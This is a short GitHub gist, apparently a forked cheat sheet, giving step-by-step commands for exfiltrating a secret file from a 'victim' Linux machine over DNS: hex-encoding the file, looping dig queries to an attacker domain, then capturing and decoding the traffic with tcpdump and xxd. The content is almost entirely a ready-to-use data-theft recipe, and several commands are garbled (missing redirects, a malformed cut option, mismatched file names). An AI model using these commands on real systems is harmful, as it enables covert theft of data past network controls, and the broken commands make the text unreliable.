Skip to content

Instantly share code, notes, and snippets.

@Cynesiz
Forked from sckalath/dns_egress_nix
Created May 30, 2016 21:47
Show Gist options
  • Save Cynesiz/d7323c31fff619b4b1459d32c87d0038 to your computer and use it in GitHub Desktop.
Save Cynesiz/d7323c31fff619b4b1459d32c87d0038 to your computer and use it in GitHub Desktop.
DNS transfer on Linux
On victim:
1. Hex encode the file to be transferred:
xxd -p secret file.hex
2. Read in each line and do a DNS lookup:
for b in 'cat file.hex'; do dig $b.shell.evilexample.com;done
On attacker:
1. Capture DNS exfil packets
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet
tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d" " | cut -f1"." | uniq received.txt
3. Reverse the hex encoding
xxd -r -p received.txt keys.pgp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment